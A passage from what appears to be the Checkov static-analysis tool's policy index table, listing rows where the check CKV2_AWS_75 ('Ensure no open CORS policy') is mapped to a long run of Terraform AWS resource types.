[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3039 | CKV2_AWS_75     | resource | aws_mq_broker                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3040 | CKV2_AWS_75     | resource | aws_mq_configuration                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3041 | CKV2_AWS_75     | resource | aws_msk_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3042 | CKV2_AWS_75     | resource | aws_msk_cluster_policy                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3043 | CKV2_AWS_75     | resource | aws_msk_configuration                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3044 | CKV2_AWS_75     | resource | aws_msk_replicator                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3045 | CKV2_AWS_75     | resource | aws_msk_scram_secret_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3046 | CKV2_AWS_75     | resource | aws_msk_serverless_cluster                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3047 | CKV2_AWS_75     | resource | aws_msk_single_scram_secret_association                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3048 | CKV2_AWS_75     | resource | aws_msk_vpc_connection                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3049 | CKV2_AWS_75     | resource | aws_mskconnect_connector                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3050 | CKV2_AWS_75     | resource | aws_mskconnect_custom_plugin                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3051 | CKV2_AWS_75     | resource | aws_mskconnect_worker_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3052 | CKV2_AWS_75     | resource | aws_mwaa_environment                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3053 | CKV2_AWS_75     | resource | aws_nat_gateway                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3054 | CKV2_AWS_75     | resource | aws_neptune_cluster                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3055 | CKV2_AWS_75     | resource | aws_neptune_cluster_endpoint                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3056 | CKV2_AWS_75     | resource | aws_neptune_cluster_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3057 | CKV2_AWS_75     | resource | aws_neptune_cluster_parameter_group                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3058 | CKV2_AWS_75     | resource | aws_neptune_cluster_snapshot                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3059 | CKV2_AWS_75     | resource | aws_neptune_event_subscription                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3060 | CKV2_AWS_75     | resource | aws_neptune_global_cluster                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3061 | CKV2_AWS_75     | resource | aws_neptune_parameter_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3062 | CKV2_AWS_75     | resource | aws_neptune_subnet_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3063 | CKV2_AWS_75     | resource | aws_network_acl                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3064 | CKV2_AWS_75     | resource | aws_network_acl_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3065 | CKV2_AWS_75     | resource | aws_network_acl_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3066 | CKV2_AWS_75     | resource | aws_network_interface                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3067 | CKV2_AWS_75     | resource | aws_network_interface_attachment                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3068 | CKV2_AWS_75     | resource | aws_network_interface_sg_attachment                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3069 | CKV2_AWS_75     | resource | aws_networkfirewall_firewall                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3070 | CKV2_AWS_75     | resource | aws_networkfirewall_firewall_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3071 | CKV2_AWS_75     | resource | aws_networkfirewall_logging_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3072 | CKV2_AWS_75     | resource | aws_networkfirewall_resource_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3073 | CKV2_AWS_75     | resource | aws_networkfirewall_rule_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3074 | CKV2_AWS_75     | resource | aws_networkfirewall_tls_inspection_configuration                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3075 | CKV2_AWS_75     | resource | aws_networkmanager_attachment_accepter                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3076 | CKV2_AWS_75     | resource | aws_networkmanager_connect_attachment                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3077 | CKV2_AWS_75     | resource | aws_networkmanager_connect_peer                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3078 | CKV2_AWS_75     | resource | aws_networkmanager_connection                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3079 | CKV2_AWS_75     | resource | aws_networkmanager_core_network                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3080 | CKV2_AWS_75     | resource | aws_networkmanager_core_network_policy_attachment                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3081 | CKV2_AWS_75     | resource | aws_networkmanager_customer_gateway_association                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3082 | CKV2_AWS_75     | resource | aws_networkmanager_device                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3083 | CKV2_AWS_75     | resource | aws_networkmanager_dx_gateway_attachment                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3084 | CKV2_AWS_75     | resource | aws_networkmanager_global_network                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3085 | CKV2_AWS_75     | resource | aws_networkmanager_link                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3086 | CKV2_AWS_75     | resource | aws_networkmanager_link_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3087 | CKV2_AWS_75     | resource | aws_networkmanager_site                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3088 | CKV2_AWS_75     | resource | aws_networkmanager_site_to_site_vpn_attachment                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3089 | CKV2_AWS_75     | resource | aws_networkmanager_transit_gateway_connect_peer_association      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3090 | CKV2_AWS_75     | resource | aws_networkmanager_transit_gateway_peering                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3091 | CKV2_AWS_75     | resource | aws_networkmanager_transit_gateway_registration                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3092 | CKV2_AWS_75     | resource | aws_networkmanager_transit_gateway_route_table_attachment        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3093 | CKV2_AWS_75     | resource | aws_networkmanager_vpc_attachment                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3094 | CKV2_AWS_75     | resource | aws_networkmonitor_monitor                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3095 | CKV2_AWS_75     | resource | aws_networkmonitor_probe                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3096 | CKV2_AWS_75     | resource | aws_oam_link                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3097 | CKV2_AWS_75     | resource | aws_oam_sink                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3098 | CKV2_AWS_75     | resource | aws_oam_sink_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3099 | CKV2_AWS_75     | resource | aws_opensearch_authorize_vpc_endpoint_access                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3100 | CKV2_AWS_75     | resource | aws_opensearch_domain                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3101 | CKV2_AWS_75     | resource | aws_opensearch_domain_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3102 | CKV2_AWS_75     | resource | aws_opensearch_domain_saml_options                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3103 | CKV2_AWS_75     | resource | aws_opensearch_inbound_connection_accepter                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3104 | CKV2_AWS_75     | resource | aws_opensearch_outbound_connection                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3105 | CKV2_AWS_75     | resource | aws_opensearch_package                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3106 | CKV2_AWS_75     | resource | aws_opensearch_package_association                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3107 | CKV2_AWS_75     | resource | aws_opensearch_vpc_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3108 | CKV2_AWS_75     | resource | aws_opensearchserverless_access_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3109 | CKV2_AWS_75     | resource | aws_opensearchserverless_collection                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3110 | CKV2_AWS_75     | resource | aws_opensearchserverless_lifecycle_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3111 | CKV2_AWS_75     | resource | aws_opensearchserverless_security_config                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3112 | CKV2_AWS_75     | resource | aws_opensearchserverless_security_policy                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3113 | CKV2_AWS_75     | resource | aws_opensearchserverless_vpc_endpoint                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3114 | CKV2_AWS_75     | resource | aws_opsworks_application                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3115 | CKV2_AWS_75     | resource | aws_opsworks_custom_layer                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3116 | CKV2_AWS_75     | resource | aws_opsworks_ecs_cluster_layer                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3117 | CKV2_AWS_75     | resource | aws_opsworks_ganglia_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3118 | CKV2_AWS_75     | resource | aws_opsworks_haproxy_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3119 | CKV2_AWS_75     | resource | aws_opsworks_instance                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3120 | CKV2_AWS_75     | resource | aws_opsworks_java_app_layer                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3121 | CKV2_AWS_75     | resource | aws_opsworks_memcached_layer                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3122 | CKV2_AWS_75     | resource | aws_opsworks_mysql_layer                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3123 | CKV2_AWS_75     | resource | aws_opsworks_nodejs_app_layer                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3124 | CKV2_AWS_75     | resource | aws_opsworks_permission                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3125 | CKV2_AWS_75     | resource | aws_opsworks_php_app_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3126 | CKV2_AWS_75     | resource | aws_opsworks_rails_app_layer                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3127 | CKV2_AWS_75     | resource | aws_opsworks_rds_db_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3128 | CKV2_AWS_75     | resource | aws_opsworks_stack                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3129 | CKV2_AWS_75     | resource | aws_opsworks_static_web_layer                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3130 | CKV2_AWS_75     | resource | aws_opsworks_user_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3131 | CKV2_AWS_75     | resource | aws_organizations_account                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3132 | CKV2_AWS_75     | resource | aws_organizations_delegated_administrator                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3133 | CKV2_AWS_75     | resource | aws_organizations_organization                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3134 | CKV2_AWS_75     | resource | aws_organizations_organizational_unit                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 